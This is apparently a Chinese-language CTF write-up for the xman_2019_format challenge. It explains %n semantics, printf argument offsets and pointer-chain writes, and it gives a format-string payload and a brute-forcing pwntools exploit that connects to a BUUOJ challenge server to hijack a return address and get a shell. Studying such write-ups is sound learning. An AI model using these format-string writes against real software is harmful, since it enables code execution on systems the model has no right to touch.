Loading... <!-- wp:paragraph --> <p>这是一道堆上的格式化字符串漏洞,做完这道题我大概可以理解“跳板”是什么鬼了,也对%n的原理有了正确的认知,之后计划完成类似的echo3和playfmt。</p> <!-- /wp:paragraph --> <!-- wp:heading {"level":4} --> <h4>%n</h4> <!-- /wp:heading --> <!-- wp:paragraph --> <p>这个东西和其他的格式化占位符一样,是以参数所在的内存中存储的地址指向的内存为操作对象的</p> <!-- /wp:paragraph --> <!-- wp:image {"align":"center","id":769,"sizeSlug":"large"} --> <div class="wp-block-image"><figure class="aligncenter size-large"><img src="https://www.cjovi.icu/usr/uploads/2020/12/QQ截图20201208131504.png" alt="" class="wp-image-769"style=""></figure></div> <!-- /wp:image --> <!-- wp:paragraph --> <p>也就是说对于两个红框中的链,修改的蓝圈指向的地址中的值,也就是橙圈中的值。(gdb中,第一列是参数所在的内存地址,第二列是这个内存地址中存的值,如果我们使用%p之类的占位符输出,那么输出的就是这个值,第三列是内存中存储的指针所指向的值,%n修改的就是这个值。这就和<code>scanf("%d",&n);</code>对n读入时提供的是n的地址而不是n的值是一个道理)</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>总结一下,就是%n修改链A->B->C->D...修改的是C。</p> <!-- /wp:paragraph --> <!-- wp:heading {"level":4} --> <h4>参数的计算</h4> <!-- /wp:heading --> <!-- wp:paragraph --> <p>之前算参数偏移都是靠<code>aaaa-%p-%p-%p....</code>这样人工求出来,这样虽然有效,但是毕竟是比较玄学的一个办法,而对于在堆上的格式化字符串其实也是无效的。而实际上,printf也不过是个变参函数罢了同样也满足调用约定,从他的原型来看</p> <!-- /wp:paragraph --> <!-- wp:preformatted --> <pre class="wp-block-preformatted">int printf(const char *format, ...)</pre> <!-- /wp:preformatted --> <!-- wp:paragraph --> <p>第一个参数是格式化字符串,之后的就是格式化占位符可以指定的参数了,cdecl调用约定中用ebp+4*(n+1)来对第n个参数寻址,虽然我没看过printf的汇编代码,但是合理的猜测一下,对栈和两个寄存器肯定有</p> <!-- /wp:paragraph --> <!-- wp:code --> <pre class="wp-block-code"><code>push ebp mov ebp,esp</code></pre> <!-- /wp:code --> <!-- wp:paragraph --> <p>在这个过程中,由于push了一个ebp,所以ebp+4*(n+1)==esp+4*n(这里的esp是主调函数在call printf之前时的esp,而ebp是printf实际寻址是的ebp,所以ebp==esp-4),因此我们可以归纳出(这些对大多数的函数都成立)</p> <!-- /wp:paragraph --> <!-- wp:list --> <ul><li>32位下,直接用栈传参,参数从左到右是<code>esp+4,esp+8,esp+12...</code>,第n个参数就是在esp+4*n处了,即esp+x处是第x/4个参数。</li><li>64位下,前6个参数用寄存器传递,参数从左到右是<code>rdi,rsi,rdx,rcx,r8,r9,rsp+8,...</code>,大于6的第n个参数就是在rsp+(n-6)*8处了,即rsp+x处是第x/8+6个参数。</li></ul> <!-- /wp:list --> <!-- wp:paragraph --> <p>对于这个程序,核心就是这里的</p> <!-- /wp:paragraph --> <!-- wp:image {"align":"center","id":772,"sizeSlug":"large"} --> <div class="wp-block-image"><figure class="aligncenter size-large"><img src="https://www.cjovi.icu/usr/uploads/2020/12/QQ截图20201208135257.png" alt="" class="wp-image-772"style=""></figure></div> <!-- /wp:image --> <!-- wp:paragraph --> <p>格式化字符串漏洞。strtok的作用可以参考<span class="external-link"><a class="no-external-link" href="https://www.runoob.com/cprogramming/c-function-strtok.html" target="_blank"><i data-feather="external-link"></i>菜鸟教程</a></span>,在这里可以简单的认为是凭借'|'所在的位置分割了我们输入的字符串并多次输出。</p> <!-- /wp:paragraph --> <!-- wp:image {"align":"center","id":773,"sizeSlug":"large"} --> <div class="wp-block-image"><figure class="aligncenter size-large"><img src="https://www.cjovi.icu/usr/uploads/2020/12/QQ截图20201208135600.png" alt="" class="wp-image-773"style=""></figure></div> <!-- /wp:image --> <!-- wp:paragraph --> <p>然后又提供了一个后门,显然我们只需要通过任意写让某个函数ret2text到这里就可以了。</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>为了实现任意写,我们需要观察一下要printf时的栈帧</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>所以我们把断点下在</p> <!-- /wp:paragraph --> <!-- wp:image {"align":"center","id":771,"sizeSlug":"large"} --> <div class="wp-block-image"><figure class="aligncenter size-large"><img src="https://www.cjovi.icu/usr/uploads/2020/12/QQ截图20201208135151.png" alt="" class="wp-image-771"style=""></figure></div> <!-- /wp:image --> <!-- wp:paragraph --> <p>这个printf处(前后两个printf的栈帧结构时一样的)</p> <!-- /wp:paragraph --> <!-- wp:image {"align":"center","id":775,"sizeSlug":"large"} --> <div class="wp-block-image"><figure class="aligncenter size-large"><img src="https://www.cjovi.icu/usr/uploads/2020/12/QQ截图20201208135851.png" alt="" class="wp-image-775"style=""></figure></div> <!-- /wp:image --> <!-- wp:paragraph --> <p>这个时候我们就找到了一张合适的链表,根据之前对%n的分析,如果把红框的0xffffd088修改成0xffffd03c,那么蓝色的链表就变成了0xffffd058 —▸ 0xffffd03c —▸ 0x804864b,我们再修改0x804864b这个值,就可以控制当前函数返回的地址了。每次栈的地址当然都是会变的,但是由于</p> <!-- /wp:paragraph --> <!-- wp:image {"align":"center","id":776,"sizeSlug":"large"} --> <div class="wp-block-image"><figure class="aligncenter size-large"><img src="https://www.cjovi.icu/usr/uploads/2020/12/QQ截图20201208140404.png" alt="" class="wp-image-776"style=""></figure></div> <!-- /wp:image --> <!-- wp:paragraph --> <p>start函数中的<code>and esp,0FFFFFFF0h</code>的存在,二进制下最低四位是不会变的,而我们也注意到,0xffffd03c和0xffffd088只在最低位上的一个字节上又差别,这个字节的低四位又必定是c,所以我们用0xnC(n为0-15的某个十六进制数)就可以爆破了,成功概率是1/16,还是比较高的。</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>所以就有了payload=“%12c%10$hhn|%34219%18$hn”</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>由于要爆破,exp也做了特殊的处理</p> <!-- /wp:paragraph --> <!-- wp:code --> <pre class="wp-block-code"><code>from pwn import * get_shell = 0x080485AB while 1: #sh = process("./xman_2019_format") sh = remote("node3.buuoj.cn","27239") payload = '%12c' + '%10$hhn' +'|' payload += '%34219c' + '%18$hn' sh.sendline(payload) try: ┊ sh.sendline('echo pwned') ┊ sh.recvuntil('pwned',timeout=0.5) ┊ sh.interactive() except: ┊ sh.close() </code></pre> <!-- /wp:code --> <!-- wp:paragraph --> <p>就这样</p> <!-- /wp:paragraph --> 最后修改:2020 年 12 月 30 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧